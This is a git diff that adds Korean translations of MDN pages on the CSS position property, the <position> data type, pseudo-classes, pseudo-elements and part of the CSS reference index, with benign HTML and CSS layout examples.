diff --git a/files/ko/web/css/position/index.html b/files/ko/web/css/position/index.html new file mode 100644 index 0000000000..ce23867543 --- /dev/null +++ b/files/ko/web/css/position/index.html @@ -0,0 +1,316 @@ +--- +title: position +slug: Web/CSS/position +tags: + - CSS + - CSS Positioninng + - CSS Property + - Reference + - 'recipe:css-property' +translation_of: Web/CSS/position +--- +
{{CSSRef}}
+ +

CSS position 속성은 문서 상에 요소를 배치하는 방법을 지정합니다. {{cssxref("top")}}, {{cssxref("right")}}, {{cssxref("bottom")}}, {{cssxref("left")}} 속성이 요소를 배치할 최종 위치를 결정합니다.

+ +
{{EmbedInteractiveExample("pages/css/position.html")}}
+ + + +

구문

+ +

position 속성은 아래의 목록에서 하나의 키워드 값을 선택해 지정할 수 있습니다.

+ +

+ +
+
static
+
요소를 일반적인 문서 흐름에 따라 배치합니다. {{cssxref("top")}}, {{cssxref("right")}}, {{cssxref("bottom")}}, {{cssxref("left")}}, {{cssxref("z-index")}} 속성이 아무런 영향도 주지 않습니다. 기본값입니다.
+
relative
+
요소를 일반적인 문서 흐름에 따라 배치하고, 자기 자신을 기준으로 top, right, bottom, left의 값에 따라 오프셋을 적용합니다. 오프셋은 다른 요소에는 영향을 주지 않습니다. 따라서 페이지 레이아웃에서 요소가 차지하는 공간은 static일 때와 같습니다.
+
{{cssxref("z-index")}}의 값이 auto가 아니라면 새로운 쌓임 맥락을 생성합니다. table-*-group, table-row, table-column, table-cell, table-caption 요소에 적용했을 때의 작동 방식은 정의되지 않았습니다.
+
absolute
+
요소를 일반적인 문서 흐름에서 제거하고, 페이지 레이아웃에 공간도 배정하지 않습니다. 대신 가장 가까운 위치 지정 조상 요소에 대해 상대적으로 배치합니다. 단, 조상 중 위치 지정 요소가 없다면 초기 컨테이닝 블록을 기준으로 삼습니다. 최종 위치는 top, right, bottom, left 값이 지정합니다.
+
{{cssxref("z-index")}}의 값이 auto가 아니라면 새로운 쌓임 맥락을 생성합니다. 절대 위치 지정 요소의 바깥 여백은 서로 상쇄되지 않습니다.
+
fixed
+
요소를 일반적인 문서 흐름에서 제거하고, 페이지 레이아웃에 공간도 배정하지 않습니다. 대신 {{glossary("viewport", "뷰포트")}}의 초기 컨테이닝 블록을 기준으로 삼아 배치합니다. 단, 요소의 조상 중 하나가 transform, perspective, filter 속성 중 어느 하나라도 none이 아니라면 (CSS Transforms 명세 참조) 뷰포트 대신 그 조상을 컨테이닝 블록으로 삼습니다. (perspectivefilter의 경우 브라우저별로 결과가 다름에 유의) 최종 위치는 top, right, bottom, left 값이 지정합니다.
+
이 값은 항상 새로운 쌓임 맥락을 생성합니다. 문서를 인쇄할 때는 해당 요소가 모든 페이지의 같은 위치에 출력됩니다.
+
sticky
+
요소를 일반적인 문서 흐름에 따라 배치하고, 테이블 관련 요소를 포함해 가장 가까운, 스크롤 되는 조상과, 표 관련 요소를 포함한 컨테이닝 블록(가장 가까운 블록 레벨 조상) 을 기준으로 top, right, bottom, left의 값에 따라 오프셋을 적용합니다. 오프셋은 다른 요소에는 영향을 주지 않습니다.
+
이 값은 항상 새로운 쌓임 맥락을 생성합니다. 끈끈한 요소는 "스크롤 동작"(overflowhidden, scroll, auto 혹은 overlay)이 존재하는 가장 가까운 조상에 달라붙으며, 사실 그 조상은 스크롤 불가하며 실제로 스크롤 가능한 조상이 따로 존재할 경우 "끈끈한" 동작을 보이지 않는 점에 주의하세요. (W3C CSSWG의 Github 이슈 참조)
+
+ +

설명

+ +

배치 유형

+ +
    +
  • 위치 지정 요소position계산값relative, absolute, fixed, sticky 중 하나인 요소입니다. 즉, 값이 static이 아닌 모든 요소를 말합니다.
  • +
  • 상대 위치 지정 요소position계산값relative인 요소입니다. {{cssxref("top")}}과 {{cssxref("bottom")}}은 원래 위치에서의 세로축 거리를, {{cssxref("left")}}와 {{cssxref("right")}}은 원래 위치에서의 가로축 거리를 지정합니다.
  • +
  • 절대 위치 지정 요소position계산값absolute 또는 fixed인 요소입니다.{{cssxref("top")}}, {{cssxref("right")}}, {{cssxref("bottom")}}, {{cssxref("left")}}는 요소의 컨테이닝 블록(위치의 기준점이 되는 조상 요소) 모서리로부터의 거리를 지정합니다. 요소가 바깥 여백을 가진다면 거리에 더합니다. 절대 위치 지정 요소는 새로운 블록 서식 맥락을 생성합니다.
  • +
  • 끈끈한 위치 지정 요소position계산값sticky인 요소입니다. 평소에는 상대 위치 지정 요소로 처리하지만, 컨테이닝 블록이 자신의 플로우 루트(또는, 스크롤 컨테이너)에서 지정한 임계값({{cssxref("top")}} 등으로 지정)을 넘으면 마치 fixed처럼 화면에 고정합니다. 고정 상태는 컨테이닝 블록의 반대편 모서리를 만나면 해제됩니다.
  • +
+ +

대부분의 경우, {{cssxref("height")}}와 {{cssxref("width")}}가 auto로 지정된 절대 위치 지정 요소는 자신의 콘텐츠에 맞춰 크기가 바뀝니다. 반면 비대체 절대 위치 지정 요소는 {{Cssxref("top")}}과 {{Cssxref("bottom")}}을 지정하고 {{Cssxref("height")}}는 지정하지 않으면 (즉, auto로 두면) 사용 가능한 수직 공간을 가득 채웁니다. 마찬가지로 {{Cssxref("left")}}와 {{Cssxref("right")}}을 지정하고, {{Cssxref("width")}}는 auto로 두면 사용 가능한 수평 공간을 가득 채웁니다.

+ +

위에서 설명한 경우(공간을 꽉 채우는 경우)가 아니라면 다음 규칙을 따릅니다.

+ +
    +
  • topbottom을 지정한 경우(auto가 아닌 경우), top이 우선 적용됩니다.
  • +
  • leftright를 지정한 경우, {{Cssxref("direction")}}이 ltr(영어, 한국어 등)이면 left를 우선 적용하고, {{Cssxref("direction")}}이 rtl(페르시아어, 아랍어, 히브리어 등)이면 right를 우선 적용합니다.
  • +
+ +

접근성 고려사항

+ +

화면을 확대해서 텍스트가 크게 보이게 했을 때 absolutefixed로 배치된 요소가 내용을 가리지 않도록 주의해야 합니다.

+ + + +

성능 및 접근성 문제

+ +

fixedsticky를 포함하는 스크롤 요소가 성능 및 접근성 문제를 유발할 수 있습니다. 브라우저는 사용자가 스크롤을 할 때마다 끈끈하거나 고정인 요소를 새로운 위치에 페인트 해야 하는데, 표시해야 되는 내용의 양, 브라우저 및 기기의 성능에 따라 60 fps를 유지하지 못해 일부 민감한 사용자에게는 접근성 문제가, 다른 모두에게는 사용자 경험 악화가 생깁니다. 이 문제의 해결책 중 하나는 {{cssxref("will-change", "will-change: transform")}}을 추가하여 요소를 자신만의 레이어에서 렌더링 하여 페인트 속도를 향상하고, 나아가 성능과 접근성을 높일 수 있습니다.

+ +

형식 정의

+ +

{{cssinfo}}

+ +

형식 구문

+ +
{{csssyntax}}
+ +

예제

+ +

상대 위치 지정

+ +

상대적으로 배치된 요소는 문서 내에서 정상적인(normal) 위치에서 주어진 오프셋만큼 떨어지지만, 다른 요소에는 영향을 주지 않습니다. 아래 예제에서는 다른 요소들이 "Two"가 원래 위치에 있는 것처럼 배치되는 것을 확인할 수 있습니다.

+ +

HTML

+ +
<div class="box" id="one">One</div>
+<div class="box" id="two">Two</div>
+<div class="box" id="three">Three</div>
+<div class="box" id="four">Four</div>
+
+ +

CSS

+ +
.box {
+  display: inline-block;
+  width: 100px;
+  height: 100px;
+  background: red;
+  color: white;
+}
+
+#two {
+  position: relative;
+  top: 20px;
+  left: 20px;
+  background: blue;
+}
+
+ +

{{ EmbedLiveSample('상대_위치_지정', '600px', '200px') }}

+ +

절대 위치 지정

+ +

상대적으로 배치된 요소가 일반적인 문서 흐름에 따르는 것과 달리, 절대적으로 배치된 요소는 흐름에서 제거됩니다. 따라서 다른 요소는 그 요소가 존재하지 않는 것처럼 배치됩니다. 절대적으로 배치된 요소는 가장 가까운 위치 지정 조상(즉, static이 아닌 가장 가까운 조상)을 기준으로 배치됩니다. 그런 요소가 존재하지 않는다면, 초기 컨테이닝 블록이 기준이 됩니다.

+ +

HTML

+ +
<div class="box" id="one">One</div>
+<div class="box" id="two">Two</div>
+<div class="box" id="three">Three</div>
+<div class="box" id="four">Four</div>
+ +

CSS

+ +
.box {
+  display: inline-block;
+  width: 100px;
+  height: 100px;
+  background: red;
+  color: white;
+}
+
+#two {
+  position: absolute;
+  top: 20px;
+  left: 20px;
+  background: blue;
+}
+ +

{{ EmbedLiveSample('절대_위치_지정', '800px', '200px') }}

+ +

고정 위치 지정

+ +

고정 위치 지정은 절대 위치 지정과 비슷하지만, fixed는 요소의 컨테이닝 블록이 뷰포트의 초기 컨테이닝 블록이라는 점에서 다릅니다(transform, perspective, filter 속성이 none이 아닌 조상이 있다면 그 조상이 컨테이닝 블록이 됩니다. CSS Transforms Spec 참조). 따라서 스크롤에 관계 없이 화면의 특정 지점에 고정되는, "떠다니는"(floating) 요소를 생성할 수 있습니다. 아래 예제에서, "One" 상자는 페이지 위에서 80픽셀, 왼쪽에서 10픽셀 떨어진 위치에 고정됩니다. 스크롤을 하더라도, 뷰포트를 기준으로 같은 위치에 고정된 채로 유지됩니다.

+ +

HTML

+ +
<div class="outer">
+  <p>
+    Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nam congue tortor eget pulvinar lobortis.
+    Vestibulum ante ipsum primis in faucibus orci luctus et ultrices posuere cubilia Curae; Nam ac dolor augue.
+    Pellentesque mi mi, laoreet et dolor sit amet, ultrices varius risus. Nam vitae iaculis elit.
+    Aliquam mollis interdum libero. Sed sodales placerat egestas. Vestibulum ut arcu aliquam purus viverra dictum vel sit amet mi.
+    Duis nisl mauris, aliquam sit amet luctus eget, dapibus in enim. Sed velit augue, pretium a sem aliquam, congue porttitor tortor.
+    Sed tempor nisl a lorem consequat, id maximus erat aliquet. Sed sagittis porta libero sed condimentum.
+    Aliquam finibus lectus nec ante congue rutrum. Curabitur quam quam, accumsan id ultrices ultrices, tempor et tellus.
+  </p>
+  <p>
+    Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nam congue tortor eget pulvinar lobortis.
+    Vestibulum ante ipsum primis in faucibus orci luctus et ultrices posuere cubilia Curae; Nam ac dolor augue.
+    Pellentesque mi mi, laoreet et dolor sit amet, ultrices varius risus. Nam vitae iaculis elit.
+    Aliquam mollis interdum libero. Sed sodales placerat egestas. Vestibulum ut arcu aliquam purus viverra dictum vel sit amet mi.
+    Duis nisl mauris, aliquam sit amet luctus eget, dapibus in enim. Sed velit augue, pretium a sem aliquam, congue porttitor tortor.
+    Sed tempor nisl a lorem consequat, id maximus erat aliquet. Sed sagittis porta libero sed condimentum.
+    Aliquam finibus lectus nec ante congue rutrum. Curabitur quam quam, accumsan id ultrices ultrices, tempor et tellus.
+  </p>
+  <div class="box" id="one">One</div>
+</div>
+
+ +

CSS

+ +
.box {
+  width: 100px;
+  height: 100px;
+  background: red;
+  color: white;
+}
+
+#one {
+  position: fixed;
+  top: 80px;
+  left: 10px;
+  background: blue;
+}
+
+.outer {
+  width: 500px;
+  height: 300px;
+  overflow: scroll;
+  padding-left: 150px;
+}
+
+ +

{{ EmbedLiveSample('고정_위치_지정', '800px', '300px') }}

+ +

끈끈한 위치 지정

+ +

끈끈한 위치 지정은 상대와 고정 위치 지정을 합친 것으로 생각할 수 있습니다. 끈끈하게 배치된 요소는 상대적으로 배치된 요소로 취급하지만, 주어진 경계선을 지나면 고정 위치를 갖게 됩니다. 예를 들어,

+ +
#one { position: sticky; top: 10px; }
+ +

이때 id가 one인 요소는 그 위치가 위에서 10픽셀 떨어진 위치까지는 상대적으로 배치되지만, 그 경계를 넘어가면 위에서 10픽셀 떨어진 위치에 고정됩니다.

+ +

끈끈한 위치 지정은 흔히 사전순 리스트의 레이블에 사용할 수 있습니다. 예를 들어, "ㄴ" 레이블은 "ㄱ"으로 시작하는 목록이 화면 밖으로 나갈 때까지는 그 바로 밑에 표시되고, 그 다음에는 "ㄱ"을 따라 화면 밖으로 나가는 대신 화면 위에 고정시킬 수 있습니다. 그러다가 "ㄴ" 목록이 화면 바깥으로 나가면 그 자리에 "ㄷ" 레이블을 고정시킬 수 있습니다.

+ +

끈끈한 위치 지정이 의도한 대로 동작하게 하려면 top, right, bottom, left 중 적어도 하나의 임계값을 설정해야 합니다. 임계값을 설정하지 않으면 상대 위치 지정과 다를 바가 없습니다.

+ +

HTML

+ +
<dl>
+  <div>
+    <dt>A</dt>
+    <dd>Andrew W.K.</dd>
+    <dd>Apparat</dd>
+    <dd>Arcade Fire</dd>
+    <dd>At The Drive-In</dd>
+    <dd>Aziz Ansari</dd>
+  </div>
+  <div>
+    <dt>C</dt>
+    <dd>Chromeo</dd>
+    <dd>Common</dd>
+    <dd>Converge</dd>
+    <dd>Crystal Castles</dd>
+    <dd>Cursive</dd>
+  </div>
+  <div>
+    <dt>E</dt>
+    <dd>Explosions In The Sky</dd>
+  </div>
+  <div>
+    <dt>T</dt>
+    <dd>Ted Leo &amp; The Pharmacists</dd>
+    <dd>T-Pain</dd>
+    <dd>Thrice</dd>
+    <dd>TV On The Radio</dd>
+    <dd>Two Gallants</dd>
+  </div>
+</dl>
+
+ +

CSS

+ +
* {
+  box-sizing: border-box;
+}
+
+dl > div {
+  background: #FFF;
+  padding: 24px 0 0 0;
+}
+
+dt {
+  background: #B8C1C8;
+  border-bottom: 1px solid #989EA4;
+  border-top: 1px solid #717D85;
+  color: #FFF;
+  font: bold 18px/21px Helvetica, Arial, sans-serif;
+  margin: 0;
+  padding: 2px 0 0 12px;
+  position: -webkit-sticky;
+  position: sticky;
+  top: -1px;
+}
+
+dd {
+  font: bold 20px/45px Helvetica, Arial, sans-serif;
+  margin: 0;
+  padding: 0 0 0 12px;
+  white-space: nowrap;
+}
+
+dd + dd {
+  border-top: 1px solid #CCC;
+}
+
+ +

{{ EmbedLiveSample('끈끈한_위치_지정', '500px', '300px') }}

+ +
    +
+ +

명세

+ + + + + + + + + + + + + + + + + + + + + +
명세상태비고
{{SpecName('CSS2.1', 'visuren.html#propdef-position', 'position')}}{{Spec2('CSS2.1')}}
{{SpecName('CSS3 Positioning','#position-property','position')}}{{Spec2('CSS3 Positioning')}}sticky 속성 값 추가
+ +

브라우저 호환성

+ +
{{Compat("css.properties.position")}}
diff --git a/files/ko/web/css/position_value/index.html b/files/ko/web/css/position_value/index.html new file mode 100644 index 0000000000..7e03f38e2f --- /dev/null +++ b/files/ko/web/css/position_value/index.html @@ -0,0 +1,135 @@ +--- +title: +slug: Web/CSS/position_value +tags: + - CSS + - CSS Data Type + - Layout + - Reference + - Web +translation_of: Web/CSS/position_value +--- +
{{CSSRef}}
+ +

CSS <position> (또는 <bg-position>) 자료형은 요소 박스에 대한 상대 좌표를 나타내는 2차원 좌표입니다. {{cssxref("background-position")}}, {{cssxref("offset-anchor")}} 속성에서 사용합니다.

+ +
+

참고: <position> 값이 설명하는 최종 위치가 요소 박스 내에 위치해야 할 필요는 없습니다.

+
+ +

구문

+ +

<position> 자료형은 하나 혹은 두 개의 키워드와 함께 선택적인 오프셋을 사용해 지정합니다.

+ +

키워드에는 center, top, right, bottom, left가 있으며, 각각 요소 박스의 해당하는 방향 모서리 또는 마주보는 두 모서리의 가운데 지점을 의미합니다. 맥락에 따라, center는 좌우 모서리의 중간점일 수도 있고, 상하 모서리의 중간점일 수도 있습니다.

+ +

오프셋은 상대적인 {{cssxref("<percentage>")}} 값 또는 절대적인 {{cssxref("<length>")}} 값으로 지정할 수 있습니다. 양수는 오른쪽과 아래쪽 중 적합한 방향으로 이동하며, 음수는 그 반대입니다.

+ +

하나의 오프셋 값만 지정할 경우 x 좌표를 정의하는 것이며, 다른 축의 값은 기본값으로 center를 사용합니다.

+ +
/* 1-value syntax */
+keyword                  /* Either the horizontal or vertical position; the other axis defaults to center */
+value                    /* The position on the x-axis; the y-axis defaults to 50% */
+
+/* 2-value syntax */
+keyword keyword          /* A keyword for each direction (the order is irrelevant) */
+keyword value            /* A keyword for horizontal position, value for vertical position */
+value keyword            /* A value for horizontal position, keyword for vertical position */
+value value              /* A value for each direction (horizontal then vertical) */
+
+/* 4-value syntax */
+keyword value keyword value /* Each value is an offset from the keyword that preceeds it */
+
+ +

형식 구문

+ +
[
+ [ left | center | right ] || [ top | center | bottom ]
+|
+ [ left | center | right | <length> | <percentage> ]
+ [ top | center | bottom | <length> | <percentage> ]?
+|
+ [ [ left | right ] [ <length> | <percentage> ] ] &&
+ [ [ top | bottom ] [ <length> | <percentage> ] ]
+]
+
+ +
+

참고: {{cssxref("background-position")}} 속성은 세 값 구문도 허용하나, <position>을 사용하는 다른 속성에서는 허용하지 않습니다.

+
+ +

보간

+ +

애니메이션에서 점의 가로 값과 세로 값은 각각 따로 보간됩니다. 그러나 두 좌표 모두에 대한 보간 속도는 하나의 타이밍 함수가 결정하므로, 점은 직선을 따라 이동하게 됩니다.

+ +

예제

+ +

유효한 위치

+ +
center
+left
+center top
+
+right 8.5%
+bottom 12vmin right -6px
+
+10% 20%
+8rem 14px
+
+ +

유효하지 않은 위치

+ +
left right
+bottom top
+10px 15px 20px 15px
+
+ +

명세

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('CSS3 Values', '#position', '<position>')}}{{Spec2('CSS3 Values')}}Relists links to both definitions: if {{SpecName('CSS3 Backgrounds')}} is supported, its definition of <position> must also be used.
{{SpecName('CSS3 Backgrounds', '#typedef-bg-position', '<bg-position>')}}{{Spec2('CSS3 Backgrounds')}}Defines <position> explicitly and extends it to support offsets from any edge.
{{SpecName('CSS2.1', 'colors.html#propdef-background-position', '<position>')}}{{Spec2('CSS2.1')}}Allows combination of a keyword with a {{cssxref("<length>")}} or {{cssxref("<percentage>")}} value.
{{SpecName('CSS1', '#background-position', '<position>')}}{{Spec2('CSS1')}}Defines <position> anonymously as the value of {{cssxref("background-position")}}.
+ +

브라우저 호환성

+ + + +

{{Compat("css.types.position")}}

+ +

같이 보기

+ + diff --git a/files/ko/web/css/pseudo-classes/index.html b/files/ko/web/css/pseudo-classes/index.html new file mode 100644 index 0000000000..6870bff41e --- /dev/null +++ b/files/ko/web/css/pseudo-classes/index.html @@ -0,0 +1,166 @@ +--- +title: 의사 클래스 +slug: Web/CSS/Pseudo-classes +tags: + - CSS + - Overview + - Pseudo-class + - Reference + - Selectors +translation_of: Web/CSS/Pseudo-classes +--- +
{{CSSRef}}
+ +

CSS 의사 클래스(가상 클래스)는 선택자에 추가하는 키워드로, 선택한 요소가 특별한 상태여야 만족할 수 있습니다. 예를 들어 {{cssxref(":hover")}}를 사용하면 포인터를 올렸을 때에만 글씨 색을 바꾸고 싶을 때 사용할 수 있습니다.

+ +
/* Any button over which the user's pointer is hovering */
+button:hover {
+  color: blue;
+}
+ +

의사 클래스를 사용하면 문서 트리 콘텐츠와 관련된 경우 뿐만 아니라 탐색기 히스토리({{cssxref(":visited")}} 등), 콘텐츠의 상태(특정 폼 요소에 적용한 {{cssxref(":checked")}} 등), 마우스의 위치(커서가 마우스 위인지 아닌지 알 수 있는 {{cssxref(":hover")}} 등)처럼 외부 인자와 관련된 경우에도 스타일을 적용할 수 있습니다.

+ +
+

참고: 의사 요소는 의사 클래스와 달리 요소의 특정 부분에 스타일을 적용할 때 사용합니다.

+
+ +

구문

+ +
selector:pseudo-class {
+  property: value;
+}
+ +

일반적인 클래스와 같이 여러 개의 의사 클래스를 조합해 복잡한 선택자를 만들 수 있습니다.

+ +

표준 의사 클래스 색인

+ +
+
    +
  • {{CSSxRef(":active")}}
  • +
  • {{CSSxRef(":any-link")}} {{Experimental_Inline}}
  • +
  • {{CSSxRef(":blank")}} {{Experimental_Inline}}
  • +
  • {{CSSxRef(":checked")}}
  • +
  • {{CSSxRef(":current")}} {{Experimental_Inline}}
  • +
  • {{CSSxRef(":default")}}
  • +
  • {{CSSxRef(":defined")}}
  • +
  • {{CSSxRef(":dir", ":dir()")}} {{Experimental_Inline}}
  • +
  • {{CSSxRef(":disabled")}}
  • +
  • {{CSSxRef(":drop")}} {{Experimental_Inline}}
  • +
  • {{CSSxRef(":empty")}}
  • +
  • {{CSSxRef(":enabled")}}
  • +
  • {{CSSxRef(":first")}}
  • +
  • {{CSSxRef(":first-child")}}
  • +
  • {{CSSxRef(":first-of-type")}}
  • +
  • {{CSSxRef(":fullscreen")}} {{Experimental_Inline}}
  • +
  • {{CSSxRef(":future")}} {{Experimental_Inline}}
  • +
  • {{CSSxRef(":focus")}}
  • +
  • {{CSSxRef(":focus-visible")}} {{Experimental_Inline}}
  • +
  • {{CSSxRef(":focus-within")}}
  • +
  • {{CSSxRef(":has", ":has()")}} {{Experimental_Inline}}
  • +
  • {{CSSxRef(":host")}}
  • +
  • {{CSSxRef(":host()")}}
  • +
  • {{CSSxRef(":host-context()")}} {{Experimental_Inline}}
  • +
  • {{CSSxRef(":hover")}}
  • +
  • {{CSSxRef(":indeterminate")}}
  • +
  • {{CSSxRef(":in-range")}}
  • +
  • {{CSSxRef(":invalid")}}
  • +
  • {{CSSxRef(":is", ":is()")}} {{Experimental_Inline}}
  • +
  • {{CSSxRef(":lang", ":lang()")}}
  • +
  • {{CSSxRef(":last-child")}}
  • +
  • {{CSSxRef(":last-of-type")}}
  • +
  • {{CSSxRef(":left")}}
  • +
  • {{CSSxRef(":link")}}
  • +
  • {{CSSxRef(":local-link")}} {{Experimental_Inline}}
  • +
  • {{CSSxRef(":not", ":not()")}}
  • +
  • {{CSSxRef(":nth-child", ":nth-child()")}}
  • +
  • {{CSSxRef(":nth-col", ":nth-col()")}} {{Experimental_Inline}}
  • +
  • {{CSSxRef(":nth-last-child", ":nth-last-child()")}}
  • +
  • {{CSSxRef(":nth-last-col", ":nth-last-col()")}} {{Experimental_Inline}}
  • +
  • {{CSSxRef(":nth-last-of-type", ":nth-last-of-type()")}}
  • +
  • {{CSSxRef(":nth-of-type", ":nth-of-type()")}}
  • +
  • {{CSSxRef(":only-child")}}
  • +
  • {{CSSxRef(":only-of-type")}}
  • +
  • {{CSSxRef(":optional")}}
  • +
  • {{CSSxRef(":out-of-range")}}
  • +
  • {{CSSxRef(":past")}} {{Experimental_Inline}}
  • +
  • {{CSSxRef(":placeholder-shown")}} {{Experimental_Inline}}
  • +
  • {{CSSxRef(":read-only")}}
  • +
  • {{CSSxRef(":read-write")}}
  • +
  • {{CSSxRef(":required")}}
  • +
  • {{CSSxRef(":right")}}
  • +
  • {{CSSxRef(":root")}}
  • +
  • {{CSSxRef(":scope")}}
  • +
  • {{CSSxRef(":state", ":state()")}} {{Experimental_Inline}}
  • +
  • {{CSSxRef(":target")}}
  • +
  • {{CSSxRef(":target-within")}} {{Experimental_Inline}}
  • +
  • {{CSSxRef(":user-invalid")}} {{Experimental_Inline}}
  • +
  • {{CSSxRef(":valid")}}
  • +
  • {{CSSxRef(":visited")}}
  • +
  • {{CSSxRef(":where", ":where()")}} {{Experimental_Inline}}
  • +
+
+ +

명세

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("Fullscreen")}}{{Spec2("Fullscreen")}}Defined :fullscreen.
{{SpecName("HTML WHATWG", "#pseudo-classes")}}{{Spec2("HTML WHATWG")}}Defines when particular selectors match HTML elements.
{{SpecName("CSS4 Selectors")}}{{Spec2("CSS4 Selectors")}}Defined :any-link, :blank, :local-link, :scope, :drop, :current, :past, :future, :placeholder-shown, :user-invalid, :nth-col(), :nth-last-col(), :is() and :where().
+ Changed :empty to behave like {{CSSxRef(":-moz-only-whitespace")}} {{Non-standard_Inline}}.
+ No significant change for other pseudo-classes defined in {{SpecName("CSS3 Selectors")}} and {{SpecName("HTML5 W3C")}} (though semantic meaning not taken over).
{{SpecName("HTML5 W3C")}}{{Spec2("HTML5 W3C")}}Copies the relevant section from the canonical (WHATWG) HTML spec.
{{SpecName("CSS3 Basic UI")}}{{Spec2("CSS3 Basic UI")}}Defined :default, :valid, :invalid, :in-range, :out-of-range, :required, :optional, :read-only and :read-write, but without the associated semantic meaning.
{{SpecName("CSS3 Selectors")}}{{Spec2("CSS3 Selectors")}}Defined :target, :root, :nth-child(), :nth-last-of-child(), :nth-of-type(), :nth-last-of-type(), :last-child, :first-of-type, :last-of-type, :only-child, :only-of-type, :empty and :not().
+ Defined the syntax of :enabled, :disabled, :checked, and :indeterminate, but without the associated semantic meaning.
+ No significant change for pseudo-classes defined in {{SpecName('CSS2.1')}}.
{{SpecName("CSS2.1")}}{{Spec2("CSS2.1")}}Defined :lang(), :first-child, :hover, and :focus.
+ No significant change for pseudo-classes defined in {{SpecName('CSS1')}}.
{{SpecName("CSS1")}}{{Spec2("CSS1")}}Defined :link, :visited and :active, but without the associated semantic meaning.
+ +

같이 보기

+ + diff --git a/files/ko/web/css/pseudo-elements/index.html b/files/ko/web/css/pseudo-elements/index.html new file mode 100644 index 0000000000..b85c0a2904 --- /dev/null +++ b/files/ko/web/css/pseudo-elements/index.html @@ -0,0 +1,124 @@ +--- +title: 의사 요소 +slug: Web/CSS/Pseudo-elements +tags: + - CSS + - Overview + - Pseudo-element + - Reference + - Selectors +translation_of: Web/CSS/Pseudo-elements +--- +
{{CSSRef}}
+ +

CSS 의사 요소(가상 요소)는 선택자에 추가하는 키워드로, 선택한 요소의 일부분에만 스타일을 입힐 수 있습니다. 예를 들어 {{cssxref("::first-line")}}을 사용하면 문단 첫 줄의 글씨체만 바꿀 수 있습니다.

+ +
/* The first line of every <p> element. */
+p::first-line {
+  color: blue;
+  text-transform: uppercase;
+}
+ +
+

참고: 의사 클래스는 의사 요소와 달리 요소의 특정 상태에 스타일을 적용할 때 사용합니다.

+
+ +

구문

+ +
selector::pseudo-element {
+  property: value;
+}
+ +

하나의 선택자에 하나의 의사 요소만 사용할 수 있습니다. 반드시 단순 선택자 뒤에 위치해야 합니다.

+ +
+

참고: 규칙을 따라 단일 콜론(:) 대신 이중 콜론(::)을 사용하여 의사 클래스와 의사 요소를 구별해야 합니다. 그러나 과거 W3C 명세에선 이런 구별을 두지 않았으므로 대부분의 브라우저는 기존 의사 요소에 대해 두 구문 모두 지원합니다.

+
+ +

표준 의사 요소 색인

+ +
+
    +
  • {{CSSxRef("::after", "::after (:after)")}}
  • +
  • {{CSSxRef("::backdrop")}} {{Experimental_Inline}}
  • +
  • {{CSSxRef("::before", "::before (:before)")}}
  • +
  • {{CSSxRef("::cue")}}
  • +
  • {{CSSxRef("::cue-region")}}
  • +
  • {{CSSxRef("::first-letter", "::first-letter (:first-letter)")}}
  • +
  • {{CSSxRef("::first-line", "::first-line (:first-line)")}}
  • +
  • {{CSSxRef("::grammar-error")}} {{Experimental_Inline}}
  • +
  • {{CSSxRef("::marker")}} {{Experimental_Inline}}
  • +
  • {{CSSxRef("::part", "::part()")}} {{Experimental_Inline}}
  • +
  • {{CSSxRef("::placeholder")}} {{Experimental_Inline}}
  • +
  • {{CSSxRef("::selection")}}
  • +
  • {{CSSxRef("::slotted", "::slotted()")}}
  • +
  • {{CSSxRef("::spelling-error")}} {{Experimental_Inline}}
  • +
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
브라우저최하위 버전지원
Internet Explorer8.0:pseudo-element
9.0:pseudo-element ::pseudo-element
Firefox (Gecko)1.0 (1.0):pseudo-element
1.0 (1.5):pseudo-element ::pseudo-element
Opera4.0:pseudo-element
7.0:pseudo-element ::pseudo-element
Safari (WebKit)1.0 (85):pseudo-element ::pseudo-element
+ +

명세

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("CSS1")}}{{Spec2("CSS1")}}Defined pseudo-classes and pseudo-elements.
+ +

같이 보기

+ + diff --git a/files/ko/web/css/reference/index.html b/files/ko/web/css/reference/index.html new file mode 100644 index 0000000000..21ee49d424 --- /dev/null +++ b/files/ko/web/css/reference/index.html @@ -0,0 +1,190 @@ +--- +title: CSS 참고서 +slug: Web/CSS/Reference +tags: + - CSS + - Guide + - Overview + - Reference + - 'l10n:priority' +translation_of: Web/CSS/Reference +--- +
{{CSSRef}}
+ +

CSS 참고서를 이용해 알파벳 순서로 정리한 모든 표준 CSS 속성, 의사 클래스, 의사 요소, CSS 자료형@규칙을 찾아보세요. 또한 유형별로 정리한 CSS 선택자주요 CSS 개념도 찾아볼 수 있습니다. 추가로 간단한 DOM-CSS / CSSOM 참조도 들어 있습니다.

+ +

기본 규칙 구문

+ +

스타일 규칙 구문

+ +
style-rule ::=
+    selectors-list {
+      properties-list
+    }
+
+ +

... where :

+ +
selectors-list ::=
+    selector[:pseudo-class] [::pseudo-element]
+    [, selectors-list]
+
+properties-list ::=
+    [property : value] [; properties-list]
+
+ +

아래 선택자, 의사 클래스, 의사 요소 목록을 참고하세요. 각 value의 구문은 지정한 property가 정의하는 자료형에 따라 다릅니다.

+ +

스타일 규칙 예제

+ +
strong {
+  color: red;
+}
+
+div.menu-bar li:hover > ul {
+  display: block;
+}
+
+ +

CSS 선택자 구문을 설명하는 입문자 단계의 소개 부분은 이 자습서에서 찾아볼 수 있습니다. 규칙 정의에서 구문 오류가 하나라도 발생하면 규칙 전체가 유효하지 않다는 점을 명심하세요. 유효하지 않은 규칙은 브라우저가 무시합니다. CSS 규칙 정의는 모두 (ASCII) 텍스트에 기반하지만, DOM-CSS / CSSOM (규칙 관리 시스템)은 객체에 기반합니다.

+ +

@규칙 구문

+ +

@규칙 체계는 매우 다양하므로 필요한 구체적인 구문을 찾으려면 @규칙을 봐주세요.

+ +

키워드 색인

+ +
+

참고: 이 색인에 있는 속성 이름에는 CSS 표준 이름과 다른 JavaScript 이름이 들어가지 않습니다.

+
+ +
{{CSS_Ref}}
+ +

선택자

+ +

다음은 선택자 목록입니다. 선택자를 사용하면 DOM 요소의 다양한 기능에 기반한 조건을 통해 스타일을 입힐 수 있습니다.

+ +

기본 선택자

+ +

기본 선택자는 선택자의 기초를 이루며, 조합을 통해 더 복잡한 선택자를 생성합니다.

